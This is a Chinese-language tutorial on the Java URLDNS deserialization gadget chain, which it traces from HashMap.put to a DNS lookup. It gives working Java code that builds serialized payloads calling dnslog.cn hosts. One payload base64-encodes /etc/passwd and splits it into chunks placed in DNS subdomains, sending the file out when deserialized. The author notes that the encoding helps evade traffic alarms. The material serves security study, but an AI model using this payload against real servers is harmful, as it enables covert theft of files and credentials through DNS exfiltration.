java-URLDNS 链条审计
java-URLDNS 链条审计
URLDNS 链条,是我们学习 java 反序列化的启蒙链条,通过 java 内置的类函数调用,达到 DNS 外带数据的目的。
首先让我们来看一个小实验
从 dnslog.cn 平台获取一个域名
public class urlDNS {
public void URL() throws UnknownHostException {
InetAddress address = InetAddress.getByName("1112222221.aro9b9.dnslog.cn");
System.out.println(address.getHostName());
}
public static void main(String[] args) throws UnknownHostException {
urlDNS url = new urlDNS();
url.URL();
}
}
可以看到,我们在前边定义的字符串会被正常外带出来
1)hashmap
hashmap 可以说是 java 反序列化梦开始的地方,可以通过反射,put 等操作,给它赋值。而他默认也实现了 Serializable 接口,也有 readObject()方法。就是反序列化的入口。好多反序列化漏洞都是基于 hashmap 的接口调用利用的。
运行一下这段代码
public class urlDNS {
public void URLtest() throws Exception {
URL url = new URL("http://1122334455.xq8dz5.dnslog.cn");
Map<URL,String> map = new HashMap<>();
map.put(url,"1111");
}
public static void main(String[] args) throws Exception {
urlDNS url = new urlDNS();
url.URLtest();
}
}
我们在上述代码中并没有进行域名的访问,我们的操作只不过是创建了一个 UR 对象,并把这个对象添加到了 hashmap 中,怎么会有 dnslog 的信息带出来呢?
让我们看一看这段代码具体干了什么
hashmap 的 put()方法 ==> hashmap 的 hash() == > URL 的 hashCode() ==> URLStreamHandler 的 hashCode()
==> URLStreamHandler 的 getHostAddress() 最终自动完成域名的解析
打个断点,一步一步跟进一下,就会明白这个链条
2)反序列化
构造 URLDNS 的序列化文件
public void serialize() throws Exception{
URL url = new URL("http://111122223333355555567.jlxmu8.dnslog.cn");
Map<URL,String> map = new HashMap<URL,String>();
Class clazz = Class.forName("java.net.URL");
Field hashCode = clazz.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,22);
map.put(url,"111");
hashCode.set(url,-1);
FileOutputStream fos = new FileOutputStream("src/main/upload/dnslog.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.close();
fos.close();
}
这个方法就是序列化一个 URLDNS 的利用链条,当目标主机对我们上传的 ser 文件,进行反序列化时,就会触发 hashmap 里的链条,导致攻击者可以读取服务器数据
因为要对 URL 里的 hashCode 字段赋值为-1 才能满足调用要求,我们利用了 java 的反射机制对其私有变量强制赋值为-1
目标机器上只要有反序列化的方法可以让我们注入成功,就可以读取目标主机的信息了
public void unseri() throws Exception{
FileInputStream fis = new FileInputStream("src/main/upload/dnslog.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
fis.close();
ois.close();
}
生成完序列化的 ser 文件,只需要执行反序列画这个方法,目标就会自动去调用我们已经构造好的 DNS 链条,实现数据外带
public static void main(String[] args) throws Exception{
urlDNS urlDns = new urlDNS();
// urlDns.serialize();
urlDns.unseri();
}
3) 读取/etc/passwd
有了上边的基础,我们只需要把前面的字符串换成/etc/passwd 读取的变量是不是就可以读取出来了。
public void seriaPasswd() throws Exception{
FileInputStream fis = new FileInputStream("src/main/upload/passwd");
byte[] byteArray = new byte[fis.available()];
fis.read(byteArray);
String s = Base64.getEncoder().encodeToString(byteArray);
System.out.println(s.length());
int counts = s.length()/60;
int tail = s.length()%60;
List<Map> list = new ArrayList<>();
for (int i = 0; i < counts; i++) {
String substring = s.substring(i*60, 60*(i+1));
// System.out.println(substring);
URL url = new URL("http://"+ substring +".2xpfvy.dnslog.cn");
Map<URL,String> map = new HashMap<>();
map.put(url,"111");
Class clazz = Class.forName("java.net.URL");
Field hashCode = clazz.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,-1);
list.add(map);
}
System.out.println(Arrays.toString(new List[]{list}));
FileOutputStream fos = new FileOutputStream("src/main/upload/pass.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(list);
}
由于域名不支持一些特殊字符,我们传递过程中可以进行 base64 加密,一方面可以保证我们拿到信息的完整性,另一方面,加密字符串不那么容易触发一些流量设备的告警,提高数据读取的隐蔽性。
为了演示方便,我把/etc/passwd 复制到了本地,
public void unseriaPasswd() throws Exception{
FileInputStream fis = new FileInputStream("src/main/upload/pass.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception{
urlDNS urlDns = new urlDNS();
// urlDns.seriaPasswd();
urlDns.unseriaPasswd();
}
看到成功带出来 passwd 的内容,后边就是去处理用 base64 解密
基本原理就是这样。